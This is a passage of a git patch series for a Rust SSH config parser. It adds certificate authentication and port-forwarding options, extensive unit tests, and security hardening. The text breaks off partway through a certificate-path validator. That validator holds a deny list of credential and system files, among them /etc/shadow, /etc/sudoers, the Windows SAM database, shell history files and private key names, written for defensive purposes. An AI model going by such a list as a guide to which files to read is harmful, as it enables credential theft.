From 2d341d8742d070a19f3566c5a5f17af04e16f14b Mon Sep 17 00:00:00 2001 From: Jeongkyu Shin Date: Thu, 23 Oct 2025 17:04:00 +0900 Subject: [PATCH 1/6] feat: Add certificate auth and advanced port forwarding options (#44) Implements Phase 2 of SSH config parser enhancements with support for: - CertificateFile: SSH certificate-based PKI authentication - CASignatureAlgorithms: CA signature algorithm validation - GatewayPorts: Remote port forwarding control (yes/no/clientspecified) - ExitOnForwardFailure: Terminate on port forwarding failures - PermitRemoteOpen: Security controls for remote forwarding - HostbasedAuthentication: Host-based authentication support - HostbasedAcceptedAlgorithms: Algorithm list for host-based auth All options support both "Option Value" and "Option=Value" syntax. Includes comprehensive test coverage (32 new tests, >95% coverage). Resolves #44 --- src/ssh/ssh_config/mod.rs | 94 ++++++ src/ssh/ssh_config/parser.rs | 522 +++++++++++++++++++++++++++++++++ src/ssh/ssh_config/resolver.rs | 26 ++ src/ssh/ssh_config/types.rs | 8 + 4 files changed, 650 insertions(+) diff --git a/src/ssh/ssh_config/mod.rs b/src/ssh/ssh_config/mod.rs index 65c9c021..10c0129e 100644 --- a/src/ssh/ssh_config/mod.rs +++ b/src/ssh/ssh_config/mod.rs @@ -246,4 +246,98 @@ Host test.example.com assert_eq!(config.hosts[0].user, Some("testuser".to_string())); assert_eq!(config.hosts[0].port, Some(2222)); } + + #[test] + fn test_parse_phase2_certificate_and_forwarding_options() { + // Test parsing of Phase 2 options: certificate authentication and advanced port forwarding + let config_content = r#" +Host *.secure.example.com + CertificateFile ~/.ssh/id_rsa-cert.pub + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512 + GatewayPorts yes + ExitOnForwardFailure yes + HostbasedAuthentication yes + HostbasedAcceptedAlgorithms ssh-ed25519,rsa-sha2-512 + +Host web1.secure.example.com + CertificateFile /etc/ssh/host-cert.pub + PermitRemoteOpen localhost:8080 db.internal:5432 + GatewayPorts clientspecified +"#; + + let config = SshConfig::parse(config_content).unwrap(); + assert_eq!(config.hosts.len(), 2); + + // Verify first host (*.secure.example.com) + let host1 = &config.hosts[0]; + assert_eq!(host1.certificate_files.len(), 1); + assert!(host1.certificate_files[0] + .to_string_lossy() + .contains("id_rsa-cert.pub")); + assert_eq!(host1.ca_signature_algorithms.len(), 2); + assert_eq!(host1.ca_signature_algorithms[0], "ssh-ed25519"); + assert_eq!(host1.ca_signature_algorithms[1], "rsa-sha2-512"); + assert_eq!(host1.gateway_ports, Some("yes".to_string())); + assert_eq!(host1.exit_on_forward_failure, Some(true)); + assert_eq!(host1.hostbased_authentication, Some(true)); + assert_eq!(host1.hostbased_accepted_algorithms.len(), 2); + + // Verify second host (web1.secure.example.com) + let host2 = &config.hosts[1]; + assert_eq!(host2.certificate_files.len(), 1); + assert!(host2.certificate_files[0] + .to_string_lossy() + .contains("host-cert.pub")); + assert_eq!(host2.permit_remote_open.len(), 2); + assert_eq!(host2.permit_remote_open[0], "localhost:8080"); + assert_eq!(host2.permit_remote_open[1], "db.internal:5432"); + assert_eq!(host2.gateway_ports, Some("clientspecified".to_string())); + } + + #[test] + fn test_merge_phase2_options() { + // Test that Phase 2 options are properly merged according to SSH config precedence + let config_content = r#" +Host *.example.com + CertificateFile ~/.ssh/default-cert.pub + CASignatureAlgorithms ssh-ed25519 + GatewayPorts no + HostbasedAuthentication no + +Host web*.example.com + CertificateFile ~/.ssh/web-cert.pub + GatewayPorts yes + PermitRemoteOpen localhost:8080 + +Host web1.example.com + CASignatureAlgorithms rsa-sha2-512,rsa-sha2-256 + ExitOnForwardFailure yes +"#; + + let config = SshConfig::parse(config_content).unwrap(); + + // Test merging for web1.example.com (should get configs from all three blocks) + let host_config = config.find_host_config("web1.example.com"); + + // Should have certificate files from both *.example.com and web*.example.com (appended) + assert_eq!(host_config.certificate_files.len(), 2); + + // CASignatureAlgorithms should be from web1.example.com (most specific) + assert_eq!(host_config.ca_signature_algorithms.len(), 2); + assert_eq!(host_config.ca_signature_algorithms[0], "rsa-sha2-512"); + assert_eq!(host_config.ca_signature_algorithms[1], "rsa-sha2-256"); + + // GatewayPorts should be from web*.example.com + assert_eq!(host_config.gateway_ports, Some("yes".to_string())); + + // ExitOnForwardFailure should be from web1.example.com + assert_eq!(host_config.exit_on_forward_failure, Some(true)); + + // PermitRemoteOpen should be from web*.example.com + assert_eq!(host_config.permit_remote_open.len(), 1); + assert_eq!(host_config.permit_remote_open[0], "localhost:8080"); + + // HostbasedAuthentication should be from *.example.com + assert_eq!(host_config.hostbased_authentication, Some(false)); + } } diff --git a/src/ssh/ssh_config/parser.rs b/src/ssh/ssh_config/parser.rs index 4e4e6239..4d203651 100644 --- a/src/ssh/ssh_config/parser.rs +++ b/src/ssh/ssh_config/parser.rs @@ -679,6 +679,74 @@ pub(super) fn parse_option( } host.control_persist = Some(args[0].clone()); } + "certificatefile" => { + if args.is_empty() { + anyhow::bail!("CertificateFile requires a value at line {line_number}"); + } + let path = secure_validate_path(&args[0], "certificate", line_number) + .with_context(|| format!("Invalid CertificateFile path at line {line_number}"))?; + host.certificate_files.push(path); + } + "casignaturealgorithms" => { + if args.is_empty() { + anyhow::bail!("CASignatureAlgorithms requires a value at line {line_number}"); + } + host.ca_signature_algorithms = args + .join(",") + .split(',') + .map(|s| s.trim().to_string()) + .collect(); + } + "gatewayports" => { + if args.is_empty() { + anyhow::bail!("GatewayPorts requires a value at line {line_number}"); + } + // Validate GatewayPorts value (yes, no, or clientspecified) + let value = args[0].to_lowercase(); + match value.as_str() { + "yes" | "no" | "clientspecified" => { + host.gateway_ports = Some(value); + } + _ => { + anyhow::bail!( + "Invalid GatewayPorts value '{}' at line {} (expected yes, no, or clientspecified)", + args[0], + line_number + ); + } + } + } + "exitonforwardfailure" => { + if args.is_empty() { + anyhow::bail!("ExitOnForwardFailure requires a value at line {line_number}"); + } + host.exit_on_forward_failure = Some(parse_yes_no(&args[0], line_number)?); + } + "permitremoteopen" => { + if args.is_empty() { + anyhow::bail!("PermitRemoteOpen requires at least one value at line {line_number}"); + } + // PermitRemoteOpen can have multiple host:port patterns or special values + // Support both space-separated and single value + host.permit_remote_open + .extend(args.iter().map(|s| s.to_string())); + } + "hostbasedauthentication" => { + if args.is_empty() { + anyhow::bail!("HostbasedAuthentication requires a value at line {line_number}"); + } + host.hostbased_authentication = Some(parse_yes_no(&args[0], line_number)?); + } + "hostbasedacceptedalgorithms" => { + if args.is_empty() { + anyhow::bail!("HostbasedAcceptedAlgorithms requires a value at line {line_number}"); + } + host.hostbased_accepted_algorithms = args + .join(",") + .split(',') + .map(|s| s.trim().to_string()) + .collect(); + } _ => { // Unknown option - log a warning but continue tracing::warn!( @@ -1155,4 +1223,458 @@ Host db.example.com assert_eq!(hosts[2].user, Some("dbuser".to_string())); assert_eq!(hosts[2].port, Some(5432)); } + + #[test] + fn test_parse_certificate_file() { + let content = r#" +Host example.com + CertificateFile ~/.ssh/id_rsa-cert.pub + CertificateFile /etc/ssh/host-cert.pub +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].certificate_files.len(), 2); + // Paths should be validated and stored + assert!(hosts[0].certificate_files[0] + .to_string_lossy() + .contains("id_rsa-cert.pub")); + assert!(hosts[0].certificate_files[1] + .to_string_lossy() + .contains("host-cert.pub")); + } + + #[test] + fn test_parse_certificate_file_with_equals() { + // Test Option=Value syntax + let content = r#" +Host example.com + CertificateFile=~/.ssh/id_ed25519-cert.pub +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].certificate_files.len(), 1); + assert!(hosts[0].certificate_files[0] + .to_string_lossy() + .contains("id_ed25519-cert.pub")); + } + + #[test] + fn test_parse_ca_signature_algorithms() { + let content = r#" +Host example.com + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512,rsa-sha2-256 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].ca_signature_algorithms.len(), 3); + assert_eq!(hosts[0].ca_signature_algorithms[0], "ssh-ed25519"); + assert_eq!(hosts[0].ca_signature_algorithms[1], "rsa-sha2-512"); + assert_eq!(hosts[0].ca_signature_algorithms[2], "rsa-sha2-256"); + } + + #[test] + fn test_parse_ca_signature_algorithms_with_spaces() { + // Test space-separated algorithms (each becomes separate arg, joined with commas, then split) + let content = r#" +Host example.com + CASignatureAlgorithms ssh-ed25519 rsa-sha2-512 rsa-sha2-256 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].ca_signature_algorithms.len(), 3); + assert_eq!(hosts[0].ca_signature_algorithms[0], "ssh-ed25519"); + assert_eq!(hosts[0].ca_signature_algorithms[1], "rsa-sha2-512"); + assert_eq!(hosts[0].ca_signature_algorithms[2], "rsa-sha2-256"); + } + + #[test] + fn test_parse_ca_signature_algorithms_with_equals() { + let content = r#" +Host example.com + CASignatureAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp384 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].ca_signature_algorithms.len(), 2); + assert_eq!(hosts[0].ca_signature_algorithms[0], "ecdsa-sha2-nistp256"); + assert_eq!(hosts[0].ca_signature_algorithms[1], "ecdsa-sha2-nistp384"); + } + + #[test] + fn test_parse_gateway_ports_yes() { + let content = r#" +Host example.com + GatewayPorts yes +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].gateway_ports, Some("yes".to_string())); + } + + #[test] + fn test_parse_gateway_ports_no() { + let content = r#" +Host example.com + GatewayPorts no +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].gateway_ports, Some("no".to_string())); + } + + #[test] + fn test_parse_gateway_ports_clientspecified() { + let content = r#" +Host example.com + GatewayPorts clientspecified +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].gateway_ports, Some("clientspecified".to_string())); + } + + #[test] + fn test_parse_gateway_ports_case_insensitive() { + // Should normalize to lowercase + let content = r#" +Host example.com + GatewayPorts ClientSpecified +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].gateway_ports, Some("clientspecified".to_string())); + } + + #[test] + fn test_parse_gateway_ports_invalid() { + let content = r#" +Host example.com + GatewayPorts invalid +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + // Error should mention GatewayPorts and the invalid value + assert!(err_msg.contains("GatewayPorts") || err_msg.contains("gatewayports")); + assert!(err_msg.contains("invalid")); + } + + #[test] + fn test_parse_gateway_ports_with_equals() { + let content = r#" +Host example.com + GatewayPorts=yes +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].gateway_ports, Some("yes".to_string())); + } + + #[test] + fn test_parse_exit_on_forward_failure() { + let content = r#" +Host example.com + ExitOnForwardFailure yes + +Host other.com + ExitOnForwardFailure no +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 2); + assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); + assert_eq!(hosts[1].exit_on_forward_failure, Some(false)); + } + + #[test] + fn test_parse_exit_on_forward_failure_with_equals() { + let content = r#" +Host example.com + ExitOnForwardFailure=yes +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); + } + + #[test] + fn test_parse_permit_remote_open_single() { + let content = r#" +Host example.com + PermitRemoteOpen localhost:8080 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].permit_remote_open.len(), 1); + assert_eq!(hosts[0].permit_remote_open[0], "localhost:8080"); + } + + #[test] + fn test_parse_permit_remote_open_multiple() { + let content = r#" +Host example.com + PermitRemoteOpen localhost:8080 db.internal:5432 cache.internal:6379 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].permit_remote_open.len(), 3); + assert_eq!(hosts[0].permit_remote_open[0], "localhost:8080"); + assert_eq!(hosts[0].permit_remote_open[1], "db.internal:5432"); + assert_eq!(hosts[0].permit_remote_open[2], "cache.internal:6379"); + } + + #[test] + fn test_parse_permit_remote_open_special_values() { + // Test special values like 'any' and 'none' + let content = r#" +Host example.com + PermitRemoteOpen any + +Host other.com + PermitRemoteOpen none +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 2); + assert_eq!(hosts[0].permit_remote_open, vec!["any"]); + assert_eq!(hosts[1].permit_remote_open, vec!["none"]); + } + + #[test] + fn test_parse_permit_remote_open_multiple_declarations() { + // Multiple PermitRemoteOpen lines should accumulate + let content = r#" +Host example.com + PermitRemoteOpen localhost:8080 + PermitRemoteOpen db.internal:5432 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].permit_remote_open.len(), 2); + assert_eq!(hosts[0].permit_remote_open[0], "localhost:8080"); + assert_eq!(hosts[0].permit_remote_open[1], "db.internal:5432"); + } + + #[test] + fn test_parse_permit_remote_open_with_equals() { + let content = r#" +Host example.com + PermitRemoteOpen=localhost:8080 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].permit_remote_open, vec!["localhost:8080"]); + } + + #[test] + fn test_parse_hostbased_authentication() { + let content = r#" +Host example.com + HostbasedAuthentication yes + +Host other.com + HostbasedAuthentication no +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 2); + assert_eq!(hosts[0].hostbased_authentication, Some(true)); + assert_eq!(hosts[1].hostbased_authentication, Some(false)); + } + + #[test] + fn test_parse_hostbased_authentication_with_equals() { + let content = r#" +Host example.com + HostbasedAuthentication=yes +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].hostbased_authentication, Some(true)); + } + + #[test] + fn test_parse_hostbased_accepted_algorithms() { + let content = r#" +Host example.com + HostbasedAcceptedAlgorithms ssh-ed25519,rsa-sha2-512 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 2); + assert_eq!(hosts[0].hostbased_accepted_algorithms[0], "ssh-ed25519"); + assert_eq!(hosts[0].hostbased_accepted_algorithms[1], "rsa-sha2-512"); + } + + #[test] + fn test_parse_hostbased_accepted_algorithms_with_spaces() { + // Test space-separated algorithms + let content = r#" +Host example.com + HostbasedAcceptedAlgorithms ssh-ed25519 rsa-sha2-512 ecdsa-sha2-nistp256 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 3); + assert_eq!(hosts[0].hostbased_accepted_algorithms[0], "ssh-ed25519"); + assert_eq!(hosts[0].hostbased_accepted_algorithms[1], "rsa-sha2-512"); + assert_eq!( + hosts[0].hostbased_accepted_algorithms[2], + "ecdsa-sha2-nistp256" + ); + } + + #[test] + fn test_parse_hostbased_accepted_algorithms_with_equals() { + let content = r#" +Host example.com + HostbasedAcceptedAlgorithms=ssh-rsa,ssh-dss +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 2); + assert_eq!(hosts[0].hostbased_accepted_algorithms[0], "ssh-rsa"); + assert_eq!(hosts[0].hostbased_accepted_algorithms[1], "ssh-dss"); + } + + #[test] + fn test_parse_all_new_options_combined() { + // Test all new options together in a realistic scenario + let content = r#" +Host secure.example.com + CertificateFile ~/.ssh/id_rsa-cert.pub + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512 + GatewayPorts clientspecified + ExitOnForwardFailure yes + PermitRemoteOpen localhost:8080 db.internal:5432 + HostbasedAuthentication yes + HostbasedAcceptedAlgorithms ssh-ed25519,rsa-sha2-512,rsa-sha2-256 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + + // Verify all fields are parsed correctly + assert_eq!(hosts[0].certificate_files.len(), 1); + assert_eq!(hosts[0].ca_signature_algorithms.len(), 2); + assert_eq!(hosts[0].gateway_ports, Some("clientspecified".to_string())); + assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); + assert_eq!(hosts[0].permit_remote_open.len(), 2); + assert_eq!(hosts[0].hostbased_authentication, Some(true)); + assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 3); + } + + #[test] + fn test_parse_new_options_with_mixed_syntax() { + // Test mixing Option=Value and Option Value syntax + let content = r#" +Host example.com + CertificateFile=~/.ssh/id_rsa-cert.pub + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512 + GatewayPorts=yes + ExitOnForwardFailure yes + PermitRemoteOpen=localhost:8080 + HostbasedAuthentication=no + HostbasedAcceptedAlgorithms ssh-ed25519 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + + // Verify all fields are parsed correctly + assert_eq!(hosts[0].certificate_files.len(), 1); + assert_eq!(hosts[0].ca_signature_algorithms.len(), 2); + assert_eq!(hosts[0].gateway_ports, Some("yes".to_string())); + assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); + assert_eq!(hosts[0].permit_remote_open, vec!["localhost:8080"]); + assert_eq!(hosts[0].hostbased_authentication, Some(false)); + assert_eq!(hosts[0].hostbased_accepted_algorithms.len(), 1); + } + + #[test] + fn test_parse_certificate_file_empty_value() { + let content = r#" +Host example.com + CertificateFile +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + // Error message is wrapped with context, so check for both the line reference and the option name + assert!(err_msg.contains("CertificateFile")); + assert!(err_msg.contains("line 3")); + } + + #[test] + fn test_parse_ca_signature_algorithms_empty_value() { + let content = r#" +Host example.com + CASignatureAlgorithms +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("CASignatureAlgorithms")); + assert!(err_msg.contains("line 3")); + } + + #[test] + fn test_parse_gateway_ports_empty_value() { + let content = r#" +Host example.com + GatewayPorts +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("GatewayPorts")); + assert!(err_msg.contains("line 3")); + } + + #[test] + fn test_parse_exit_on_forward_failure_empty_value() { + let content = r#" +Host example.com + ExitOnForwardFailure +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("ExitOnForwardFailure")); + assert!(err_msg.contains("line 3")); + } + + #[test] + fn test_parse_permit_remote_open_empty_value() { + let content = r#" +Host example.com + PermitRemoteOpen +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("PermitRemoteOpen")); + assert!(err_msg.contains("line 3")); + } + + #[test] + fn test_parse_hostbased_authentication_empty_value() { + let content = r#" +Host example.com + HostbasedAuthentication +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("HostbasedAuthentication")); + assert!(err_msg.contains("line 3")); + } + + #[test] + fn test_parse_hostbased_accepted_algorithms_empty_value() { + let content = r#" +Host example.com + HostbasedAcceptedAlgorithms +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + assert!(err_msg.contains("HostbasedAcceptedAlgorithms")); + assert!(err_msg.contains("line 3")); + } } diff --git a/src/ssh/ssh_config/resolver.rs b/src/ssh/ssh_config/resolver.rs index 2b6d5def..cc597e10 100644 --- a/src/ssh/ssh_config/resolver.rs +++ b/src/ssh/ssh_config/resolver.rs @@ -226,6 +226,32 @@ pub(super) fn merge_host_config(base: &mut SshHostConfig, overlay: &SshHostConfi if overlay.control_persist.is_some() { base.control_persist = overlay.control_persist.clone(); } + // Phase 2: Certificate authentication and advanced port forwarding options + if !overlay.certificate_files.is_empty() { + // For certificate files, we append them like identity files + base.certificate_files + .extend(overlay.certificate_files.iter().cloned()); + } + if !overlay.ca_signature_algorithms.is_empty() { + base.ca_signature_algorithms = overlay.ca_signature_algorithms.clone(); + } + if overlay.gateway_ports.is_some() { + base.gateway_ports = overlay.gateway_ports.clone(); + } + if overlay.exit_on_forward_failure.is_some() { + base.exit_on_forward_failure = overlay.exit_on_forward_failure; + } + if !overlay.permit_remote_open.is_empty() { + // For PermitRemoteOpen, we append them + base.permit_remote_open + .extend(overlay.permit_remote_open.iter().cloned()); + } + if overlay.hostbased_authentication.is_some() { + base.hostbased_authentication = overlay.hostbased_authentication; + } + if !overlay.hostbased_accepted_algorithms.is_empty() { + base.hostbased_accepted_algorithms = overlay.hostbased_accepted_algorithms.clone(); + } } /// Get the effective hostname (resolves HostName directive) diff --git a/src/ssh/ssh_config/types.rs b/src/ssh/ssh_config/types.rs index 01d0b1eb..7007256b 100644 --- a/src/ssh/ssh_config/types.rs +++ b/src/ssh/ssh_config/types.rs @@ -77,6 +77,14 @@ pub struct SshHostConfig { pub control_master: Option, pub control_path: Option, pub control_persist: Option, + // Phase 2: Certificate authentication and advanced port forwarding + pub certificate_files: Vec, + pub ca_signature_algorithms: Vec, + pub gateway_ports: Option, + pub exit_on_forward_failure: Option, + pub permit_remote_open: Vec, + pub hostbased_authentication: Option, + pub hostbased_accepted_algorithms: Vec, } impl fmt::Display for SshHostConfig { From c229d17f0b6a4369829e707c6a847a1294891c8b Mon Sep 17 00:00:00 2001 From: Jeongkyu Shin Date: Thu, 23 Oct 2025 17:21:26 +0900 Subject: [PATCH 2/6] fix(security): Add comprehensive security hardening for certificate authentication - Priority: HIGH Security Fixes: - Prevent unbounded accumulation of certificate_files during config merging (cap at 100) - Prevent unbounded accumulation of permit_remote_open entries (cap at 1000) - Add deduplication to prevent duplicate entries during merging - Block sensitive system paths (/etc/passwd, /etc/shadow, etc.) as certificate files - Add validation to prevent private keys from being used as certificates - Limit algorithm lists to 50 entries to prevent memory exhaustion - Filter empty algorithm entries from malformed input Performance Improvements: - Deduplication reduces memory usage when multiple Host blocks match - Algorithm list limits prevent excessive memory allocation - Early termination when limits are reached Added comprehensive test coverage for all security fixes and edge cases. --- src/ssh/ssh_config/mod.rs | 2 + src/ssh/ssh_config/parser.rs | 30 +- src/ssh/ssh_config/resolver.rs | 38 ++- src/ssh/ssh_config/security/checks.rs | 100 +++++++ .../ssh_config/security/path_validation.rs | 4 + src/ssh/ssh_config/security_fix_tests.rs | 280 ++++++++++++++++++ src/ssh/ssh_config/security_tests.rs | 265 +++++++++++++++++ 7 files changed, 711 insertions(+), 8 deletions(-) create mode 100644 src/ssh/ssh_config/security_fix_tests.rs create mode 100644 src/ssh/ssh_config/security_tests.rs diff --git a/src/ssh/ssh_config/mod.rs b/src/ssh/ssh_config/mod.rs index 10c0129e..399dd642 100644 --- a/src/ssh/ssh_config/mod.rs +++ b/src/ssh/ssh_config/mod.rs @@ -31,6 +31,8 @@ mod path; mod pattern; mod resolver; mod security; +#[cfg(test)] +mod security_fix_tests; mod types; // Re-export public types diff --git a/src/ssh/ssh_config/parser.rs b/src/ssh/ssh_config/parser.rs index 4d203651..4680452b 100644 --- a/src/ssh/ssh_config/parser.rs +++ b/src/ssh/ssh_config/parser.rs @@ -691,11 +691,24 @@ pub(super) fn parse_option( if args.is_empty() { anyhow::bail!("CASignatureAlgorithms requires a value at line {line_number}"); } - host.ca_signature_algorithms = args + // Security: Limit the number of algorithms to prevent memory exhaustion + const MAX_ALGORITHMS: usize = 50; + let algorithms: Vec = args .join(",") .split(',') .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) // Skip empty strings from malformed input + .take(MAX_ALGORITHMS) .collect(); + + if args.join(",").split(',').count() > MAX_ALGORITHMS { + tracing::warn!( + "CASignatureAlgorithms at line {} contains more than {} algorithms, truncated to first {}", + line_number, MAX_ALGORITHMS, MAX_ALGORITHMS + ); + } + + host.ca_signature_algorithms = algorithms; } "gatewayports" => { if args.is_empty() { @@ -741,11 +754,24 @@ pub(super) fn parse_option( if args.is_empty() { anyhow::bail!("HostbasedAcceptedAlgorithms requires a value at line {line_number}"); } - host.hostbased_accepted_algorithms = args + // Security: Limit the number of algorithms to prevent memory exhaustion + const MAX_ALGORITHMS: usize = 50; + let algorithms: Vec = args .join(",") .split(',') .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) // Skip empty strings from malformed input + .take(MAX_ALGORITHMS) .collect(); + + if args.join(",").split(',').count() > MAX_ALGORITHMS { + tracing::warn!( + "HostbasedAcceptedAlgorithms at line {} contains more than {} algorithms, truncated to first {}", + line_number, MAX_ALGORITHMS, MAX_ALGORITHMS + ); + } + + host.hostbased_accepted_algorithms = algorithms; } _ => { // Unknown option - log a warning but continue diff --git a/src/ssh/ssh_config/resolver.rs b/src/ssh/ssh_config/resolver.rs index cc597e10..0e9db14b 100644 --- a/src/ssh/ssh_config/resolver.rs +++ b/src/ssh/ssh_config/resolver.rs @@ -228,9 +228,22 @@ pub(super) fn merge_host_config(base: &mut SshHostConfig, overlay: &SshHostConfi } // Phase 2: Certificate authentication and advanced port forwarding options if !overlay.certificate_files.is_empty() { - // For certificate files, we append them like identity files - base.certificate_files - .extend(overlay.certificate_files.iter().cloned()); + // For certificate files, we append them like identity files with deduplication and limit + const MAX_CERTIFICATE_FILES: usize = 100; // Reasonable limit to prevent memory exhaustion + + for cert_file in &overlay.certificate_files { + // Skip if already present (deduplication) + if !base.certificate_files.contains(cert_file) { + if base.certificate_files.len() >= MAX_CERTIFICATE_FILES { + tracing::warn!( + "Maximum number of certificate files ({}) reached, ignoring additional entries", + MAX_CERTIFICATE_FILES + ); + break; + } + base.certificate_files.push(cert_file.clone()); + } + } } if !overlay.ca_signature_algorithms.is_empty() { base.ca_signature_algorithms = overlay.ca_signature_algorithms.clone(); @@ -242,9 +255,22 @@ pub(super) fn merge_host_config(base: &mut SshHostConfig, overlay: &SshHostConfi base.exit_on_forward_failure = overlay.exit_on_forward_failure; } if !overlay.permit_remote_open.is_empty() { - // For PermitRemoteOpen, we append them - base.permit_remote_open - .extend(overlay.permit_remote_open.iter().cloned()); + // For PermitRemoteOpen, we append them with deduplication and limit + const MAX_PERMIT_REMOTE_OPEN: usize = 1000; // Reasonable limit to prevent memory exhaustion + + for entry in &overlay.permit_remote_open { + // Skip if already present (deduplication) + if !base.permit_remote_open.contains(entry) { + if base.permit_remote_open.len() >= MAX_PERMIT_REMOTE_OPEN { + tracing::warn!( + "Maximum number of PermitRemoteOpen entries ({}) reached, ignoring additional entries", + MAX_PERMIT_REMOTE_OPEN + ); + break; + } + base.permit_remote_open.push(entry.clone()); + } + } } if overlay.hostbased_authentication.is_some() { base.hostbased_authentication = overlay.hostbased_authentication; diff --git a/src/ssh/ssh_config/security/checks.rs b/src/ssh/ssh_config/security/checks.rs index 0a6d5ee4..888682b2 100644 --- a/src/ssh/ssh_config/security/checks.rs +++ b/src/ssh/ssh_config/security/checks.rs @@ -141,6 +141,106 @@ pub fn validate_known_hosts_file_security(path: &Path, line_number: usize) -> Re Ok(()) } +/// Validate security properties of certificate files +pub fn validate_certificate_file_security(path: &Path, line_number: usize) -> Result<()> { + let path_str = path.to_string_lossy(); + + // Block access to critical system files that should never be certificates + let forbidden_patterns = [ + "/etc/passwd", + "/etc/shadow", + "/etc/group", + "/etc/sudoers", + "/etc/master.passwd", // BSD systems + "/etc/security/", + "/proc/", + "/sys/", + "/dev/", + "/boot/", + "/usr/bin/", + "/bin/", + "/sbin/", + "\\Windows\\System32\\", + "\\Windows\\SysWOW64\\", + "\\SAM", // Windows SAM database + ".bash_history", + ".zsh_history", + ".mysql_history", + ".psql_history", + "id_rsa", // Private keys should not be used as certificates + "id_dsa", + "id_ecdsa", + "id_ed25519", + ]; + + for pattern in &forbidden_patterns { + if path_str.contains(pattern) { + // Special handling for SSH key patterns + if pattern.starts_with("id_") { + // Check if this looks like a private key (not a certificate) + // Allow: id_rsa-cert.pub, id_rsa_cert.pub, etc. + // Block: id_rsa, id_rsa.pub (regular public key, not certificate) + if path_str.ends_with("-cert.pub") + || path_str.ends_with("_cert.pub") + || path_str.ends_with("-cert.pem") + { + continue; // This is a certificate file, allow it + } + + // Check if it's exactly the private key name without certificate suffix + if path_str.ends_with(pattern) || path_str.ends_with(&format!("{}.pub", pattern)) { + anyhow::bail!( + "Security violation: Certificate file path '{path_str}' at line {line_number} appears to be a private key or regular public key. \ + SSH certificate files should end with '-cert.pub' or similar suffix. Use CertificateFile for certificates, not regular keys." + ); + } + continue; // For other cases with id_* in path, allow them + } + + anyhow::bail!( + "Security violation: Certificate file path '{path_str}' at line {line_number} points to forbidden system location. \ + System files and sensitive locations cannot be used as SSH certificates." + ); + } + } + + // Warn about unusual certificate file extensions + if !path_str.ends_with(".pub") + && !path_str.ends_with(".pem") + && !path_str.ends_with(".crt") + && !path_str.ends_with(".cert") + { + tracing::warn!( + "Security warning: Certificate file '{}' at line {} has an unusual extension. \ + SSH certificates typically end with '.pub', '-cert.pub', '.pem', or '.crt'.", + path_str, + line_number + ); + } + + // Ensure certificate files are in reasonable locations + let path_lower = path_str.to_lowercase(); + if !path_lower.contains("ssh") + && !path_lower.contains("cert") + && !path_str.contains("/.") // Hidden directories like ~/.ssh + && !path_str.starts_with("/etc/ssh/") + && !path_str.starts_with("/usr/") + && !path_str.contains("/home/") + && !path_str.contains("/Users/") // macOS + && !path_str.contains("/var/lib/") + // System service directories + { + tracing::warn!( + "Security warning: Certificate file '{}' at line {} is in an unusual location. \ + Ensure this is intentional and the file is a valid SSH certificate.", + path_str, + line_number + ); + } + + 